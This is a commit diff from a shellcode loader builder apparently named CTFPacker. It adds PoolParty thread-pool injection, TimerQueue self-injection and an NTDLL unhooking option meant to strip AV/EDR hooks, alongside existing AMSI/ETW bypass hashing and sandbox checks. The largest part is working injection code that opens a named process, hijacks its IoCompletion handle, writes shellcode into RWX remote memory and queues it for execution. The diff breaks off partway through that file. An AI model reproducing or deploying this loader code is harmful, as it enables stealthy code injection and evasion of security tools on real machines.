mirror of
https://github.com/mochabyte0x/CTFPacker
synced 2026-06-06 16:14:33 +00:00
new exec methods
This commit is contained in:
@@ -1 +0,0 @@
|
||||
# Linux Version
|
||||
@@ -11,13 +11,14 @@ class BuildConfig:
|
||||
mode: str = "staged" # "staged" or "stageless"
|
||||
payload_path: str = "" # Path to .bin shellcode
|
||||
format: str = "EXE" # "EXE" or "DLL"
|
||||
inject_method: str = "apc" # "apc" or "copyfile2"
|
||||
inject_method: str = "apc" # "apc", "copyfile2", "tp_direct", "wf_overwrite", "timerqueue"
|
||||
target_process: str = "RuntimeBroker.exe" # APC target process
|
||||
output: str = "ctfloader" # Output base name
|
||||
|
||||
# Options
|
||||
encrypt: bool = False
|
||||
scramble: bool = False
|
||||
unhook: bool = True # NTDLL unhooking via Known DLLs
|
||||
entropy_reduction: bool = False
|
||||
sandbox_checks: bool = False # pre-flight uptime/RAM/CPU checks
|
||||
sandbox_min_uptime_s: int = 300 # minimum system uptime in seconds
|
||||
|
||||
@@ -69,8 +69,8 @@ class BuildEngine:
|
||||
with open(config.payload_path, "rb") as f:
|
||||
payload = f.read()
|
||||
|
||||
# Set target process (APC only)
|
||||
if config.inject_method == "apc":
|
||||
# Set target process (APC + PoolParty methods open an existing process by name)
|
||||
if config.inject_method in ("apc", "tp_direct", "wf_overwrite"):
|
||||
self._set_target_process(dst, config)
|
||||
|
||||
# Set injection method (must happen before hash replacement
|
||||
@@ -109,6 +109,9 @@ class BuildEngine:
|
||||
# Trampoline hooks (AMSI / ETW bypass)
|
||||
self._handle_trampoline_bypass(dst, config)
|
||||
|
||||
# NTDLL unhooking
|
||||
self._handle_unhook(dst, config)
|
||||
|
||||
# Compile and sign
|
||||
return self._compile_and_sign(dst, config)
|
||||
|
||||
@@ -136,8 +139,8 @@ class BuildEngine:
|
||||
|
||||
payload_hex = ', '.join(f"0x{b:02x}" for b in raw_payload)
|
||||
|
||||
# Set target process (APC only)
|
||||
if config.inject_method == "apc":
|
||||
# Set target process (APC + PoolParty methods open an existing process by name)
|
||||
if config.inject_method in ("apc", "tp_direct", "wf_overwrite"):
|
||||
self._set_target_process(dst, config)
|
||||
|
||||
# Set injection method (must happen before hash replacement
|
||||
@@ -176,6 +179,9 @@ class BuildEngine:
|
||||
# Trampoline hooks (AMSI / ETW bypass)
|
||||
self._handle_trampoline_bypass(dst, config)
|
||||
|
||||
# NTDLL unhooking
|
||||
self._handle_unhook(dst, config)
|
||||
|
||||
# Compile and sign
|
||||
return self._compile_and_sign(dst, config)
|
||||
|
||||
@@ -222,6 +228,12 @@ class BuildEngine:
|
||||
"#-GETTICKCOUNT64_VALUE-#": Hasher.Hasher("GetTickCount64", seed, initial_hash),
|
||||
"#-GLOBALMEMORYSTATUSEX_VALUE-#": Hasher.Hasher("GlobalMemoryStatusEx", seed, initial_hash),
|
||||
"#-GETSYSTEMINFO_VALUE-#": Hasher.Hasher("GetSystemInfo", seed, initial_hash),
|
||||
# poolparty.c API hashing
|
||||
"#-NTQIP_VALUE-#": Hasher.Hasher("NtQueryInformationProcess", seed, initial_hash),
|
||||
"#-NTQO_VALUE-#": Hasher.Hasher("NtQueryObject", seed, initial_hash),
|
||||
"#-NTQIWF_VALUE-#": Hasher.Hasher("NtQueryInformationWorkerFactory", seed, initial_hash),
|
||||
"#-NTSIWF_VALUE-#": Hasher.Hasher("NtSetInformationWorkerFactory", seed, initial_hash),
|
||||
"#-ZSETIO_VALUE-#": Hasher.Hasher("ZwSetIoCompletion", seed, initial_hash),
|
||||
# trampoline.c API hashing
|
||||
"#-AMSI_VALUE-#": Hasher.Hasher("AMSI.DLL", seed, initial_hash),
|
||||
"#-AMSISCANBUFFER_VALUE-#": Hasher.Hasher("AmsiScanBuffer", seed, initial_hash),
|
||||
@@ -313,7 +325,7 @@ class BuildEngine:
|
||||
\t// Stopping the debugging of the process, which launches the payload
|
||||
\tcDAPSu(dwProcessId);
|
||||
\t//printf("[+] Payload executed!\\n");'''
|
||||
elif config.inject_method == "callback":
|
||||
elif config.inject_method == "copyfile2":
|
||||
injection_code = '''//printf("[i] Executing shellcode via CopyFile2 callback..\\n");
|
||||
\t// Doing Callback Injection
|
||||
\tif (!CallbackInjection(pClearText, sEncPayload, &pProcess)) {
|
||||
@@ -323,6 +335,33 @@ class BuildEngine:
|
||||
\t
|
||||
\t//printf("[+] Payload executed via callback!\\n");'''
|
||||
|
||||
elif config.inject_method == "tp_direct":
|
||||
injection_code = '''//printf("[i] Executing shellcode via PoolParty TP_DIRECT..\\n");
|
||||
\t// PoolParty Variant 7: TP_DIRECT insertion via IoCompletion queue
|
||||
\tif (!PoolPartyTpDirect(pClearText, sEncPayload, TARGET_PROCESS)) {
|
||||
|
||||
\t\treturn -1;
|
||||
\t}
|
||||
\t//printf("[+] Shellcode queued via TP_DIRECT!\\n");'''
|
||||
|
||||
elif config.inject_method == "wf_overwrite":
|
||||
injection_code = '''//printf("[i] Executing shellcode via PoolParty WorkerFactory overwrite..\\n");
|
||||
\t// PoolParty Variant 1: WorkerFactory start-routine overwrite
|
||||
\tif (!PoolPartyWfOverwrite(pClearText, sEncPayload, TARGET_PROCESS)) {
|
||||
|
||||
\t\treturn -1;
|
||||
\t}
|
||||
\t//printf("[+] Shellcode injected via WorkerFactory overwrite!\\n");'''
|
||||
|
||||
elif config.inject_method == "timerqueue":
|
||||
injection_code = '''//printf("[i] Executing shellcode via TimerQueue callback..\\n");
|
||||
\t// TimerQueue callback self-injection
|
||||
\tif (!TimerQueueInject(pClearText, sEncPayload)) {
|
||||
|
||||
\t\treturn -1;
|
||||
\t}
|
||||
\t//printf("[+] Shellcode dispatched via TimerQueue callback!\\n");'''
|
||||
|
||||
target_file = "main.c" if config.format != "DLL" else "main_dll.c"
|
||||
filepath = os.path.join(dst, target_file)
|
||||
|
||||
@@ -330,9 +369,9 @@ class BuildEngine:
|
||||
data = f.read()
|
||||
data = data.replace("// #-INJECTION_METHOD_PLACEHOLDER-#", injection_code)
|
||||
|
||||
# CopyFile2 injection doesn't need a suspended process —
|
||||
# CopyFile2 and PoolParty injections find an existing process — no suspended process needed
|
||||
# comment out CreateSuspendedProcess and its surrounding sleeps/prints
|
||||
if config.inject_method == "copyfile2":
|
||||
if config.inject_method in ("copyfile2", "tp_direct", "wf_overwrite", "timerqueue"):
|
||||
lines = data.splitlines(keepends=True)
|
||||
in_csp_block = False
|
||||
for i in range(len(lines)):
|
||||
@@ -946,6 +985,41 @@ class BuildEngine:
|
||||
with open(fpath, "w") as f:
|
||||
f.write(data)
|
||||
|
||||
def _handle_unhook(self, dst: str, config: "BuildConfig"):
|
||||
"""Optionally strip the NTDLL unhooking block from main*.c.
|
||||
|
||||
When unhook is True (default), the MapNtdll()/Unhook() block is
|
||||
left in place. When False it is replaced with a comment so the
|
||||
loader skips unhooking entirely (smaller surface, but no hook
|
||||
removal).
|
||||
"""
|
||||
if getattr(config, 'unhook', True):
|
||||
self._log("NTDLL unhooking enabled.", "info")
|
||||
return
|
||||
|
||||
self._log("NTDLL unhooking disabled.", "info")
|
||||
|
||||
old_block = (
|
||||
"\t//printf(\"[+] Un-hooking Ntdll \\n\");\n"
|
||||
"\tLPVOID nt = MapNtdll();\n"
|
||||
"\tif (!nt) \n"
|
||||
"\t\treturn -1;\n"
|
||||
"\n"
|
||||
"\tif (!Unhook(nt)) \n"
|
||||
"\t\treturn -1;\n"
|
||||
)
|
||||
new_block = "\t/* NTDLL unhooking disabled */\n"
|
||||
|
||||
for fname in ("main.c", "main_dll.c"):
|
||||
fpath = os.path.join(dst, fname)
|
||||
if not os.path.exists(fpath):
|
||||
continue
|
||||
with open(fpath, "r") as f:
|
||||
data = f.read()
|
||||
data = data.replace(old_block, new_block)
|
||||
with open(fpath, "w") as f:
|
||||
f.write(data)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Compile & sign
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@@ -197,7 +197,11 @@ class StagedTab(QWidget):
|
||||
form.addRow("Format:", self._format_combo)
|
||||
|
||||
self._inject_combo = QComboBox()
|
||||
self._inject_combo.addItems(["apc", "copyfile2"])
|
||||
self._inject_combo.addItem("apc", "apc")
|
||||
self._inject_combo.addItem("copyfile2", "copyfile2")
|
||||
self._inject_combo.addItem("Threadpool (TP_DIRECT)", "tp_direct")
|
||||
self._inject_combo.addItem("Threadpool (WF Overwrite)", "wf_overwrite")
|
||||
self._inject_combo.addItem("Timer Queue (callback)", "timerqueue")
|
||||
self._inject_combo.setMinimumWidth(140)
|
||||
form.addRow("Injection:", self._inject_combo)
|
||||
|
||||
@@ -257,10 +261,12 @@ class StagedTab(QWidget):
|
||||
|
||||
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
|
||||
self._scramble_check = QCheckBox("Scramble functions and variables")
|
||||
self._unhook_check = QCheckBox("NTDLL unhooking (Known DLLs)")
|
||||
self._unhook_check.setChecked(True)
|
||||
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
|
||||
self._sandbox_check = QCheckBox("Sandbox checks")
|
||||
for check in (self._encrypt_check, self._scramble_check,
|
||||
self._entropy_check, self._sandbox_check):
|
||||
self._unhook_check, self._entropy_check, self._sandbox_check):
|
||||
layout.addWidget(check)
|
||||
|
||||
self._sb_thresh_row = QWidget()
|
||||
@@ -403,8 +409,11 @@ class StagedTab(QWidget):
|
||||
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
|
||||
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
|
||||
self._inject_combo.setToolTip(
|
||||
"APC: Queue APC to suspended process (stealthier)\n"
|
||||
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
|
||||
"apc: EarlyBird APC into suspended process\n"
|
||||
"copyfile2: CopyFile2 progress callback (self-injection)\n"
|
||||
"Threadpool (TP_DIRECT): PoolParty — ZwSetIoCompletion via IoCompletion handle (existing process)\n"
|
||||
"Threadpool (WF Overwrite): PoolParty — overwrite WorkerFactory StartRoutine (existing process)\n"
|
||||
"Timer Queue (callback): CreateTimerQueueTimer self-injection — shellcode runs on thread pool (current process)")
|
||||
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
|
||||
self._ip_edit.setToolTip("IP/hostname of shellcode download server")
|
||||
self._port_spin.setToolTip("Port of shellcode download server")
|
||||
@@ -413,6 +422,7 @@ class StagedTab(QWidget):
|
||||
self._ua_edit.setToolTip("User-Agent header for HTTP/HTTPS download request")
|
||||
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
|
||||
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
|
||||
self._unhook_check.setToolTip("Remap a clean copy of NTDLL from KnownDlls, removing any userland hooks set by AV/EDR")
|
||||
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
|
||||
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
|
||||
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
|
||||
@@ -426,9 +436,9 @@ class StagedTab(QWidget):
|
||||
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
|
||||
|
||||
def _connect_adaptive(self):
|
||||
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
|
||||
self._inject_combo.currentIndexChanged.connect(lambda _: self._on_inject_changed(self._inject_combo.currentData()))
|
||||
self._format_combo.currentTextChanged.connect(self._on_format_changed)
|
||||
self._on_inject_changed(self._inject_combo.currentText())
|
||||
self._on_inject_changed(self._inject_combo.currentData())
|
||||
self._on_format_changed(self._format_combo.currentText())
|
||||
|
||||
def _on_inject_changed(self, method: str):
|
||||
@@ -501,7 +511,7 @@ class StagedTab(QWidget):
|
||||
mode="staged",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentData(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
ip_address=self._ip_edit.text(),
|
||||
port=self._port_spin.value(),
|
||||
@@ -510,6 +520,7 @@ class StagedTab(QWidget):
|
||||
user_agent=self._ua_edit.text(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
unhook=self._unhook_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
@@ -529,7 +540,7 @@ class StagedTab(QWidget):
|
||||
def _apply_config(self, config: BuildConfig):
|
||||
self._payload_edit.setText(config.payload_path)
|
||||
self._format_combo.setCurrentText(config.format)
|
||||
self._inject_combo.setCurrentText(config.inject_method)
|
||||
self._inject_combo.setCurrentIndex(next((i for i in range(self._inject_combo.count()) if self._inject_combo.itemData(i) == config.inject_method), 0))
|
||||
self._target_combo.setCurrentText(config.target_process)
|
||||
self._ip_edit.setText(config.ip_address)
|
||||
self._port_spin.setValue(config.port)
|
||||
@@ -538,6 +549,7 @@ class StagedTab(QWidget):
|
||||
self._ua_edit.setText(config.user_agent)
|
||||
self._encrypt_check.setChecked(config.encrypt)
|
||||
self._scramble_check.setChecked(config.scramble)
|
||||
self._unhook_check.setChecked(getattr(config, 'unhook', True))
|
||||
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
|
||||
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
|
||||
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
|
||||
@@ -586,7 +598,7 @@ class StagedTab(QWidget):
|
||||
mode="staged",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentData(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
ip_address=self._ip_edit.text(),
|
||||
port=self._port_spin.value(),
|
||||
@@ -595,6 +607,7 @@ class StagedTab(QWidget):
|
||||
user_agent=self._ua_edit.text(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
unhook=self._unhook_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
|
||||
@@ -194,7 +194,11 @@ class StagelessTab(QWidget):
|
||||
form.addRow("Format:", self._format_combo)
|
||||
|
||||
self._inject_combo = QComboBox()
|
||||
self._inject_combo.addItems(["apc", "copyfile2"])
|
||||
self._inject_combo.addItem("apc", "apc")
|
||||
self._inject_combo.addItem("copyfile2", "copyfile2")
|
||||
self._inject_combo.addItem("Threadpool (TP_DIRECT)", "tp_direct")
|
||||
self._inject_combo.addItem("Threadpool (WF Overwrite)", "wf_overwrite")
|
||||
self._inject_combo.addItem("Timer Queue (callback)", "timerqueue")
|
||||
self._inject_combo.setMinimumWidth(140)
|
||||
form.addRow("Injection:", self._inject_combo)
|
||||
|
||||
@@ -214,10 +218,12 @@ class StagelessTab(QWidget):
|
||||
|
||||
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
|
||||
self._scramble_check = QCheckBox("Scramble functions and variables")
|
||||
self._unhook_check = QCheckBox("NTDLL unhooking (Known DLLs)")
|
||||
self._unhook_check.setChecked(True)
|
||||
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
|
||||
self._sandbox_check = QCheckBox("Sandbox checks")
|
||||
for check in (self._encrypt_check, self._scramble_check,
|
||||
self._entropy_check, self._sandbox_check):
|
||||
self._unhook_check, self._entropy_check, self._sandbox_check):
|
||||
layout.addWidget(check)
|
||||
|
||||
self._sb_thresh_row = QWidget()
|
||||
@@ -360,11 +366,15 @@ class StagelessTab(QWidget):
|
||||
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
|
||||
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
|
||||
self._inject_combo.setToolTip(
|
||||
"APC: Queue APC to suspended process (stealthier)\n"
|
||||
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
|
||||
"apc: EarlyBird APC into suspended process\n"
|
||||
"copyfile2: CopyFile2 progress callback (self-injection)\n"
|
||||
"Threadpool (TP_DIRECT): PoolParty — ZwSetIoCompletion via IoCompletion handle (existing process)\n"
|
||||
"Threadpool (WF Overwrite): PoolParty — overwrite WorkerFactory StartRoutine (existing process)\n"
|
||||
"Timer Queue (callback): CreateTimerQueueTimer self-injection — shellcode runs on thread pool (current process)")
|
||||
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
|
||||
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
|
||||
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
|
||||
self._unhook_check.setToolTip("Remap a clean copy of NTDLL from KnownDlls, removing any userland hooks set by AV/EDR")
|
||||
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
|
||||
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
|
||||
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
|
||||
@@ -378,9 +388,9 @@ class StagelessTab(QWidget):
|
||||
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
|
||||
|
||||
def _connect_adaptive(self):
|
||||
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
|
||||
self._inject_combo.currentIndexChanged.connect(lambda _: self._on_inject_changed(self._inject_combo.currentData()))
|
||||
self._format_combo.currentTextChanged.connect(self._on_format_changed)
|
||||
self._on_inject_changed(self._inject_combo.currentText())
|
||||
self._on_inject_changed(self._inject_combo.currentData())
|
||||
self._on_format_changed(self._format_combo.currentText())
|
||||
|
||||
def _on_inject_changed(self, method: str):
|
||||
@@ -445,10 +455,11 @@ class StagelessTab(QWidget):
|
||||
mode="stageless",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentData(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
unhook=self._unhook_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
@@ -468,10 +479,11 @@ class StagelessTab(QWidget):
|
||||
def _apply_config(self, config: BuildConfig):
|
||||
self._payload_edit.setText(config.payload_path)
|
||||
self._format_combo.setCurrentText(config.format)
|
||||
self._inject_combo.setCurrentText(config.inject_method)
|
||||
self._inject_combo.setCurrentIndex(next((i for i in range(self._inject_combo.count()) if self._inject_combo.itemData(i) == config.inject_method), 0))
|
||||
self._target_combo.setCurrentText(config.target_process)
|
||||
self._encrypt_check.setChecked(config.encrypt)
|
||||
self._scramble_check.setChecked(config.scramble)
|
||||
self._unhook_check.setChecked(getattr(config, 'unhook', True))
|
||||
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
|
||||
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
|
||||
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
|
||||
@@ -520,10 +532,11 @@ class StagelessTab(QWidget):
|
||||
mode="stageless",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentData(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
unhook=self._unhook_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
|
||||
@@ -48,7 +48,9 @@ COMMON_SRCS := \
|
||||
unhook.c \
|
||||
hellhall.c \
|
||||
sandbox.c \
|
||||
trampoline.c
|
||||
trampoline.c \
|
||||
poolparty.c \
|
||||
timerqueue.c
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
MAIN_SRC := main_dll.c
|
||||
|
||||
@@ -21,5 +21,12 @@ FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
BOOL Unhook(LPVOID module);
|
||||
LPVOID MapNtdll();
|
||||
|
||||
// PoolParty thread-pool injection (poolparty.c)
|
||||
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
|
||||
// TimerQueue callback self-injection (timerqueue.c)
|
||||
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode);
|
||||
|
||||
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
|
||||
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
|
||||
@@ -0,0 +1,287 @@
|
||||
/*
|
||||
* PoolParty — Thread Pool Process Injection
|
||||
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
|
||||
* https://github.com/SafeBreach-Labs/PoolParty
|
||||
*
|
||||
* Variant 1 : WorkerFactory start-routine overwrite (PoolPartyWfOverwrite)
|
||||
* Variant 7 : TP_DIRECT insertion via IoCompletion (PoolPartyTpDirect)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <string.h>
|
||||
#include <wchar.h>
|
||||
|
||||
#include "poolparty.h"
|
||||
#include "functions.h"
|
||||
|
||||
/* ── Internal: find a process PID by name (case-insensitive) ─────────── */
|
||||
static DWORD PP_GetPidByName(LPCSTR szName) {
|
||||
DWORD dwPid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap == INVALID_HANDLE_VALUE)
|
||||
return 0;
|
||||
|
||||
PROCESSENTRY32 pe;
|
||||
pe.dwSize = sizeof(pe);
|
||||
|
||||
if (Process32First(hSnap, &pe)) {
|
||||
do {
|
||||
if (_stricmp(pe.szExeFile, szName) == 0) {
|
||||
dwPid = pe.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return dwPid;
|
||||
}
|
||||
|
||||
/* ── Internal: duplicate a handle of a given type from hProcess ─────── */
|
||||
/*
|
||||
* Walks the target process handle table via NtQueryInformationProcess
|
||||
* (ProcessHandleInformation = 51), duplicates each handle into the current
|
||||
* process, and uses NtQueryObject to check the kernel object type name.
|
||||
* Returns the duplicated handle on match, or NULL on failure.
|
||||
*/
|
||||
static HANDLE PP_HijackHandle(
|
||||
HANDLE hProcess,
|
||||
LPCWSTR wsTypeName,
|
||||
ACCESS_MASK dwAccess) {
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
fnNtQueryInformationProcess fpNtQIP = (fnNtQueryInformationProcess)
|
||||
GetProcAddressH(hNtdll, #-NTQIP_VALUE-#);
|
||||
fnNtQueryObject fpNtQO = (fnNtQueryObject)
|
||||
GetProcAddressH(hNtdll, #-NTQO_VALUE-#);
|
||||
|
||||
if (!fpNtQIP || !fpNtQO)
|
||||
return NULL;
|
||||
|
||||
/* Grow the buffer until NtQueryInformationProcess is satisfied */
|
||||
ULONG uSize = 0x8000;
|
||||
PPP_HANDLE_SNAPSHOT pSnap = NULL;
|
||||
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
|
||||
|
||||
while (status == (NTSTATUS)STATUS_INFO_LENGTH_MISMATCH ||
|
||||
status == (NTSTATUS)STATUS_BUFFER_TOO_SMALL) {
|
||||
if (pSnap)
|
||||
HeapFree(GetProcessHeap(), 0, pSnap);
|
||||
uSize *= 2;
|
||||
pSnap = (PPP_HANDLE_SNAPSHOT)HeapAlloc(GetProcessHeap(),
|
||||
HEAP_ZERO_MEMORY, uSize);
|
||||
if (!pSnap)
|
||||
return NULL;
|
||||
status = fpNtQIP(hProcess, PP_ProcessHandleInformation,
|
||||
pSnap, uSize, &uSize);
|
||||
}
|
||||
|
||||
if (status != 0) {
|
||||
HeapFree(GetProcessHeap(), 0, pSnap);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HANDLE hFound = NULL;
|
||||
USHORT wTargetLen = (USHORT)wcslen(wsTypeName);
|
||||
|
||||
for (ULONG_PTR i = 0; i < pSnap->NumberOfHandles; i++) {
|
||||
HANDLE hDup = NULL;
|
||||
if (!DuplicateHandle(hProcess,
|
||||
pSnap->Handles[i].HandleValue,
|
||||
GetCurrentProcess(),
|
||||
&hDup,
|
||||
dwAccess, FALSE, 0))
|
||||
continue;
|
||||
|
||||
/* Use a stack buffer — type names are short (<64 chars) */
|
||||
BYTE buf[512] = { 0 };
|
||||
NTSTATUS qoStatus = fpNtQO(hDup, PP_ObjectTypeInformation,
|
||||
buf, sizeof(buf), NULL);
|
||||
if (qoStatus != 0) {
|
||||
CloseHandle(hDup);
|
||||
continue;
|
||||
}
|
||||
|
||||
PPP_OBJECT_TYPE_INFO pInfo = (PPP_OBJECT_TYPE_INFO)buf;
|
||||
|
||||
/* TypeName.Length is in bytes — convert to wchar count */
|
||||
USHORT wLen = pInfo->TypeName.Length / sizeof(WCHAR);
|
||||
|
||||
if (pInfo->TypeName.Buffer != NULL &&
|
||||
wLen == wTargetLen &&
|
||||
wcsncmp(pInfo->TypeName.Buffer, wsTypeName, wLen) == 0) {
|
||||
hFound = hDup;
|
||||
break;
|
||||
}
|
||||
|
||||
CloseHandle(hDup);
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, pSnap);
|
||||
return hFound;
|
||||
}
|
||||
|
||||
/* ── Variant 7: TP_DIRECT insertion via IoCompletion ─────────────────── */
|
||||
/*
|
||||
* 1. Finds the target process by name and opens it.
|
||||
* 2. Hijacks the IoCompletion handle from the target's thread pool.
|
||||
* 3. Allocates RWX memory in the target and writes the shellcode.
|
||||
* 4. Crafts a TP_DIRECT structure with Callback = shellcode address.
|
||||
* 5. Allocates the TP_DIRECT in the target process and writes it.
|
||||
* 6. Calls ZwSetIoCompletion to queue a packet — the target's thread
|
||||
* pool dequeues it and dispatches to our shellcode.
|
||||
*/
|
||||
BOOL PoolPartyTpDirect(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
|
||||
IN LPCSTR szTarget) {
|
||||
|
||||
fnZwSetIoCompletion fpZwSIC = (fnZwSetIoCompletion)
|
||||
GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-ZSETIO_VALUE-#);
|
||||
|
||||
if (!fpZwSIC)
|
||||
return FALSE;
|
||||
|
||||
/* Step 1: locate the target process */
|
||||
DWORD dwPid = PP_GetPidByName(szTarget);
|
||||
if (!dwPid)
|
||||
return FALSE;
|
||||
|
||||
/* Step 2: open it with VM + handle duplication privileges */
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
|
||||
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
|
||||
FALSE, dwPid);
|
||||
if (!hProcess)
|
||||
return FALSE;
|
||||
|
||||
/* Step 3: hijack the IoCompletion handle from the target's thread pool */
|
||||
HANDLE hIoCompletion = PP_HijackHandle(hProcess, L"IoCompletion",
|
||||
IO_COMPLETION_ALL_ACCESS);
|
||||
if (!hIoCompletion) {
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 4: allocate RWX memory in the target and write the shellcode */
|
||||
PVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
if (!pRemoteShellcode) {
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T dwWritten = 0;
|
||||
if (!WriteProcessMemory(hProcess, pRemoteShellcode,
|
||||
pShellcode, sSizeOfShellcode, &dwWritten)) {
|
||||
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 5: craft TP_DIRECT with shellcode address as the callback */
|
||||
PP_TP_DIRECT Direct;
|
||||
RtlSecureZeroMemory(&Direct, sizeof(Direct));
|
||||
Direct.Callback = pRemoteShellcode;
|
||||
|
||||
PVOID pRemoteDirect = VirtualAllocEx(hProcess, NULL, sizeof(PP_TP_DIRECT),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
if (!pRemoteDirect) {
|
||||
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
|
||||
